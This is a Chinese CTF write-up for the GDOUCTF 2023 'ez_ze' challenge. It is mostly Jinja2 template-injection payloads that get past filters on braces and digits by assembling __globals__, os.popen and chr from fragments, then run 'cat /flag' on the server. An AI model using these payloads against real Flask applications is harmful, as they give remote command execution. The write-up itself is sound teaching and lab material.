[GDOUCTF 2023]<ez_ze> SSTI 过滤数字 大括号{等

这篇具有很好参考价值的文章主要介绍了[GDOUCTF 2023]<ez_ze> SSTI 过滤数字 大括号{等。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

SSTI模板注入-中括号、args、下划线、单双引号、os、request、花括号、数字被过滤绕过(ctfshow web入门370)-CSDN博客

ssti板块注入

正好不会 {%%}的内容 学习一下

[GDOUCTF 2023]<ez_ze> SSTI 过滤数字 大括号{等,NSSCTF,SSTI

经过测试 发现过滤了 {{}}

那么我们就开始吧

我们可以通过这个语句来查询是否存在ssti

{%if 条件%}result{%endif%}


解释一下 如果条件里为真 就输出 result 否则不输出

修改一下
{%if not a%}yes{%endif%}

第二种

{%print 123%}

通过输出123来判断

[GDOUCTF 2023]<ez_ze> SSTI 过滤数字 大括号{等,NSSCTF,SSTI 

存在咯

这里跟着师傅的wp走 他那边过滤了数字 我们也来看看

获取数字

{%set one=dict(c=a)|join|count%}{%set two=dict(cc=a)|join|count%}{%set three=dict(ccc=a)|join|count%}

[GDOUCTF 2023]<ez_ze> SSTI 过滤数字 大括号{等,NSSCTF,SSTI

这里就可以获取数字

但是这道题不需要

然后我们首先确定一下我们需要的payload

(lipsum|attr("__globals__").get("os").popen("cat /flag").read()

 

这个时候我们需要获取_通过lipsum|string|list

这个时候可以通过 pop方法

 获取_

先需要获取pop

pop方法可以根据索引值来删除列中的某个元素并将该元素返回值返回。
{%set pop=dict(pop=a)|join%}

[GDOUCTF 2023]<ez_ze> SSTI 过滤数字 大括号{等,NSSCTF,SSTI

{%set one=dict(c=a)|join|count%}
{%set two=dict(cc=a)|join|count%}
{%set three=dict(ccc=a)|join|count%}
{%set four=dict(cccc=a)|join|count%}
{%set five=dict(ccccc=a)|join|count%}
{%set six=dict(cccccc=a)|join|count%}
{%set seven=dict(ccccccc=a)|join|count%}
{%set eight=dict(cccccccc=a)|join|count%}
{%set nine=dict(ccccccccc=a)|join|count%}
{%set pop=dict(pop=a)|join%}
{%set xiahuaxian=(lipsum|string|list)%}{%print xiahuaxian%}

然后我们数 可以发现 _ 在24 所以我们索引即可

{%set one=dict(c=a)|join|count%}
{%set two=dict(cc=a)|join|count%}
{%set three=dict(ccc=a)|join|count%}
{%set four=dict(cccc=a)|join|count%}
{%set five=dict(ccccc=a)|join|count%}
{%set six=dict(cccccc=a)|join|count%}
{%set seven=dict(ccccccc=a)|join|count%}
{%set eight=dict(cccccccc=a)|join|count%}
{%set nine=dict(ccccccccc=a)|join|count%}
{%set pop=dict(pop=a)|join%}
{%set xiahuaxian=(lipsum|string|list)|attr(pop)(three*eight)%}{%print xiahuaxian%}

 [GDOUCTF 2023]<ez_ze> SSTI 过滤数字 大括号{等,NSSCTF,SSTI

成功获取

然后获取golbals

name={%set one=dict(c=a)|join|count%}
{%set two=dict(cc=a)|join|count%}
{%set three=dict(ccc=a)|join|count%}
{%set four=dict(cccc=a)|join|count%}
{%set five=dict(ccccc=a)|join|count%}
{%set six=dict(cccccc=a)|join|count%}
{%set seven=dict(ccccccc=a)|join|count%}
{%set eight=dict(cccccccc=a)|join|count%}
{%set nine=dict(ccccccccc=a)|join|count%}
{%set pop=dict(pop=a)|join%}
{%set xiahuaxian=(lipsum|string|list)|attr(pop)(three*eight)%}
{%set globals=(xiahuaxian,xiahuaxian,dict(globals=a)|join,xiahuaxian,xiahuaxian)|join%}
{%print globals%}

[GDOUCTF 2023]<ez_ze> SSTI 过滤数字 大括号{等,NSSCTF,SSTI

获取os

首先需要获取get

{%set get=dict(get=a)|join%}{%print get%}

然后

然后我们可以获取os

{%set shell=dict(o=a,s=b)|join%}{%print shell%}

[GDOUCTF 2023]<ez_ze> SSTI 过滤数字 大括号{等,NSSCTF,SSTI

获取popen

{%set popen=dict(pop=a,en=b)|join%}{%print popen%}

[GDOUCTF 2023]<ez_ze> SSTI 过滤数字 大括号{等,NSSCTF,SSTI 过滤了 改名字就可以了

{%set one=dict(c=a)|join|count%}
{%set two=dict(cc=a)|join|count%}
{%set three=dict(ccc=a)|join|count%}
{%set four=dict(cccc=a)|join|count%}
{%set five=dict(ccccc=a)|join|count%}
{%set six=dict(cccccc=a)|join|count%}
{%set seven=dict(ccccccc=a)|join|count%}
{%set eight=dict(cccccccc=a)|join|count%}
{%set nine=dict(ccccccccc=a)|join|count%}
{%set pop=dict(pop=a)|join%}
{%set xiahuaxian=(lipsum|string|list)|attr(pop)(three*eight)%}
{%set globals=(xiahuaxian,xiahuaxian,dict(globals=a)|join,xiahuaxian,xiahuaxian)|join%}
{%set get=dict(get=a)|join%}
{%set shell=dict(o=a,s=b)|join%}
{%set pp=dict(po=a,pen=b)|join%}
{%print lipsum|attr(globals)|attr(get)(shell)|attr(pp)%}

[GDOUCTF 2023]<ez_ze> SSTI 过滤数字 大括号{等,NSSCTF,SSTI

成功获取咯

获取chr

首先要获取__builtins__


{%set one=dict(c=a)|join|count%}
{%set two=dict(cc=a)|join|count%}
{%set three=dict(ccc=a)|join|count%}
{%set four=dict(cccc=a)|join|count%}
{%set five=dict(ccccc=a)|join|count%}
{%set six=dict(cccccc=a)|join|count%}
{%set seven=dict(ccccccc=a)|join|count%}
{%set eight=dict(cccccccc=a)|join|count%}
{%set nine=dict(ccccccccc=a)|join|count%}
{%set pop=dict(pop=a)|join%}
{%set xiahuaxian=(lipsum|string|list)|attr(pop)(three*eight)%}
{%set globals=(xiahuaxian,xiahuaxian,dict(globals=a)|join,xiahuaxian,xiahuaxian)|join%}
{%set get=dict(get=a)|join%}
{%set shell=dict(o=a,s=b)|join%}
{%set pp=dict(po=a,pen=b)|join%}
{%set builtins=(xiahuaxian,xiahuaxian,dict(builtins=a)|join,xiahuaxian,xiahuaxian)|join%}
{%print builtins%}

获取chr


{%set one=dict(c=a)|join|count%}
{%set two=dict(cc=a)|join|count%}
{%set three=dict(ccc=a)|join|count%}
{%set four=dict(cccc=a)|join|count%}
{%set five=dict(ccccc=a)|join|count%}
{%set six=dict(cccccc=a)|join|count%}
{%set seven=dict(ccccccc=a)|join|count%}
{%set eight=dict(cccccccc=a)|join|count%}
{%set nine=dict(ccccccccc=a)|join|count%}
{%set pop=dict(pop=a)|join%}
{%set xiahuaxian=(lipsum|string|list)|attr(pop)(three*eight)%}
{%set globals=(xiahuaxian,xiahuaxian,dict(globals=a)|join,xiahuaxian,xiahuaxian)|join%}
{%set get=dict(get=a)|join%}
{%set shell=dict(o=a,s=b)|join%}
{%set pp=dict(po=a,pen=b)|join%}
{%set builtins=(xiahuaxian,xiahuaxian,dict(builtins=a)|join,xiahuaxian,xiahuaxian)|join%}
{%set char=(lipsum|attr(globals))|attr(get)(builtins)|attr(get)(dict(chr=a)|join)%}
{%print char%}

[GDOUCTF 2023]<ez_ze> SSTI 过滤数字 大括号{等,NSSCTF,SSTI

成功

然后就是通过char拼接命令

?name={%set one=dict(c=a)|join|count%}
{%set two=dict(cc=a)|join|count%}
{%set three=dict(ccc=a)|join|count%}
{%set four=dict(cccc=a)|join|count%}
{%set five=dict(ccccc=a)|join|count%}
{%set six=dict(cccccc=a)|join|count%}
{%set seven=dict(ccccccc=a)|join|count%}
{%set eight=dict(cccccccc=a)|join|count%}
{%set nine=dict(ccccccccc=a)|join|count%}
{%set pop=dict(pop=a)|join%}
{%set xiahuaxian=(lipsum|string|list)|attr(pop)(three*eight)%}
{%set globals=(xiahuaxian,xiahuaxian,dict(globals=a)|join,xiahuaxian,xiahuaxian)|join%}
{%set%20get=dict(get=a)|join%}
{%set builtins=(xiahuaxian,xiahuaxian,dict(builtins=a)|join,xiahuaxian,xiahuaxian)|join%}
{%set char=(lipsum|attr(globals))|attr(get)(builtins)|attr(get)(dict(chr=a)|join)%}
{%set command=char(five*five*four-one)%2bchar(five*five*four-three)%2bchar(four*five*six-four)%2bchar(four*eight)%2bchar(six*eight-one)%2bchar(three*six*six-six)%2bchar(three*six*six)%2bchar(five*five*four-three)%2bchar(three*six*six-five)%}
{%print command%}

[GDOUCTF 2023]<ez_ze> SSTI 过滤数字 大括号{等,NSSCTF,SSTI

然后就是获取read

获取read

name={%set read=dict(read=a)|join%}{%print read%}

最后就是拼接执行命令

name={%set one=dict(c=a)|join|count%}
{%set two=dict(cc=a)|join|count%}
{%set three=dict(ccc=a)|join|count%}
{%set four=dict(cccc=a)|join|count%}
{%set five=dict(ccccc=a)|join|count%}
{%set six=dict(cccccc=a)|join|count%}
{%set seven=dict(ccccccc=a)|join|count%}
{%set eight=dict(cccccccc=a)|join|count%}
{%set nine=dict(ccccccccc=a)|join|count%}
{%set pop=dict(pop=a)|join%}
{%set xiahuaxian=(lipsum|string|list)|attr(pop)(three*eight)%}
{%set globals=(xiahuaxian,xiahuaxian,dict(globals=a)|join,xiahuaxian,xiahuaxian)|join%}
{%set get=dict(get=a)|join%}
{%set shell=dict(o=a,s=b)|join%}
{%set pp=dict(po=a,pen=b)|join%}
{%set builtins=(xiahuaxian,xiahuaxian,dict(builtins=a)|join,xiahuaxian,xiahuaxian)|join%}
{%set char=(lipsum|attr(globals))|attr(get)(builtins)|attr(get)(dict(chr=a)|join)%}
{%set command=char(five*five*four-one)%2bchar(five*five*four-three)%2bchar(four*five*six-four)%2bchar(four*eight)%2bchar(six*eight-one)%2bchar(three*six*six-six)%2bchar(three*six*six)%2bchar(five*five*four-three)%2bchar(three*six*six-five)%}
{%set read=dict(read=a)|join%}{%print (lipsum|attr(globals))|attr(get)(shell)|attr(pp)(command)|attr(read)()%}

[GDOUCTF 2023]<ez_ze> SSTI 过滤数字 大括号{等,NSSCTF,SSTI

确实学到了 但是这个太麻烦了 这个是很极端的我们这道题没有过滤这么多

正常来

{% set pop=dict(pop=1)|join %}   

{% set kong=(lipsum|string|list)|attr(pop)(9) %}

{% set xhx=(lipsum|string|list)|attr(pop)(18) %}

{% set re=(config|string|list)|attr(pop)(239) %}

{% set globals=(xhx,xhx,dict(globals=a)|join,xhx,xhx)|join %}

{% set geti=(xhx,xhx,dict(get=a,item=b)|join,xhx,xhx)|join %}

{% set o=dict(o=a,s=b)|join %}

{% set po=dict(pop=a,en=b)|join %}

{% set cmd=(dict(cat=a)|join,kong,re,dict(flag=a)|join)|join %}

{% set read=dict(read=a)|join %}

{% print(lipsum|attr(globals)|attr(geti)(o)|attr(po)(cmd)|attr(read)()) %}

这里原型是

lipsum.__globals__.getitem[os].popen(cat flag).read()

类似于这种

 真是一个恐怖的ssti文章来源地址https://www.toymoban.com/news/detail-736902.html

到了这里,关于[GDOUCTF 2023]<ez_ze> SSTI 过滤数字 大括号{等的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • [FSCTF 2023]EZ_eval

    ​ ​ 这道题关键就是过滤了?号和空格还有eval执行时用了php的结束标志表示php代码到此为止了,那不行啊我后面的参数还等着被执行呢…… 可以用php短标签,有三种方式: ​ ? echo \\\'123\\\';? #前提是开启配置参数short_open_tags=on ​​ ​ script language=\\\"php\\\"echo \\\'hello\\\'; #不需要修改参数

    2024年02月08日
    浏览(33)
  • GDOUCTD NSSCTF2023广东海洋大学比赛WP RE(上) Tea Check_Your_Luck

    下载文件是cpp 是个解方程的题,用python的z3 打开可执行文件有输出,直接打开ida shift+F12点进去 他提示你,这是假的flag,看看哪个函数引用了它,往上追,就来到了关键的地方 最后一句话提醒了我们这是tea加密 最后v9输出flag。 v6 = sub_140011352(v8); 进去发现是一个返回值为bo

    2023年04月18日
    浏览(34)
  • DASCTF 2023 & 0X401七月暑期挑战赛 Web方向 EzFlask ez_cms MyPicDisk 详细题解wp

    源码直接给了 Ctrl+U查看带缩进的源码 登录的账号密码是 json格式 的POST请求。 审计题目源码,发现他最后会回显当前目录文件的内容(就是源码),我们可以修改全局变量 __file__ ,从而造成任意文件读取。 解法一: 题中源码有merge()函数,我们考虑python原型链污染。 参考:

    2024年02月14日
    浏览(38)
  • [SWPUCTF 2022 新生赛]ez_ez_php

    这段代码是一个简单的PHP文件处理脚本。让我们逐行进行分析: error_reporting(0);  - 这行代码设置了错误报告的级别为0,意味着不显示任何错误。 if (isset($_GET[\\\'file\\\'])) {  - 这行代码检查是否存在一个名为\\\"file\\\"的GET参数。 if ( substr($_GET[\\\"file\\\"], 0, 3) === \\\"php\\\" ) {  - 这行代码使用 su

    2024年02月12日
    浏览(37)
  • BugKu:Simple_SSTI(SSTI模板注入)

    目录 1.Simple_SSTI_1 2.Simple_SSTI_2 点击链接进入,题目说: You need pass in a parameter named flag。(你需要传入一个名为flag的参数)然后我们可以直接f12查看,也可以右击页面---“检查” 如图所示,我们会得到相关的提示,根据提示信息,我们利用flask的模板注入,就能直接得到flag。

    2023年04月08日
    浏览(33)
  • STM32F103ZE单片机呼吸灯源代码

    本实验采用的系统频率SYSTIM为8MHZ,如果频率改变需要修改一个数值

    2024年02月09日
    浏览(51)
  • CTF题型 SSTI(2) Flask-SSTI典型题巩固

    从基础到自己构造payload 请参考 https://blog.csdn.net/qq_39947980/article/details/136692512?spm=1001.2014.3001.5501 上次用的极简payload {{lipsum.__globals__[\\\'os\\\'].popen(\\\'ls\\\').read()}} 这里接着沿用 这里题记 payload构造原理可能不是很细 复现环境:2023 极客大挑战 klf系列 https://github.com/SycloverTeam/GeekChalleng

    2024年03月20日
    浏览(33)
  • STM32 | STM32F407ZE中断、按键、灯(续第三天)

    上节回顾 STM32 | 库函数与寄存器开发区别及LED等和按键源码(第三天) 中断概念 中断是指计算机运行过程中,出现某些意外情况需主机干预时,机器能自动停止正在运行的程序并转入处理新情况的程序,处理完毕后又返回原被暂停的程序继续运行(面试题)。 STM32外部中断需要

    2024年03月17日
    浏览(39)
  • Simple_SSTI_1与Simple_SSTI_2

    目录 一,Simple_SSTI_1 二,Simple_SSTI_2 首先打开场景:  然后F12查看一下源码:  于是通过百度相关知识寻找线索: 1,SSTI : 服务器端模版注入是指攻击者能够使用本机模板语法将恶意有效负载注入模板中,然后在服务器端执行该模板。 2,flask框架: flask是一个使用Python编写

    2023年04月12日
    浏览(30)
  • FreeRTOS移植STM32超详细(以STM32F103ZE为例)

    我刚学FreeROTS时想移植到STM32,找了网上很多资料,但大多都不是很完整,于是我把我自己的移植过程分享出来,供大家参考。 我们以STM32F103ZE,正点原子的跑马灯实验为例, 准备工作: 跑马灯实验工程 FreeRTOS文件源码(可在官方下载)     第一步  移植文件到工程 首先在工

    2024年02月08日
    浏览(35)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包